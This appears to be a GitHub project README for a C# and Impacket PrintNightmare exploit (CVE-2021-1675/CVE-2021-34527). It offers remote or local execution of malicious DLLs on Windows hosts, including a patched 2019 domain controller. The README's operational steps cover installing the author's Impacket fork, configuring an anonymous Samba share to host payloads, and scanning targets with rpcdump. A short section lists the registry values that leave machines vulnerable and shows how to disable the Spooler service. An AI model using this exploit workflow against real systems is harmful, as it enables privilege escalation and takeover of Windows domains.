C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Tested on a fully patched 2019 Domain Controller
Execute malicious DLL's remote or locally
Microsoft has released a patch to mitigate against these attacks but if these values below are present on a machine, then the machine will still be vulnerable
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1Before running the exploit you need to install my version of Impacket and after that you're gucci
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install…Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuserFrom windows it's also possible
…We can use rpcdump.py from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote ProtocolDisable Spooler service
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /fNo open issues yet, or sync has not completed.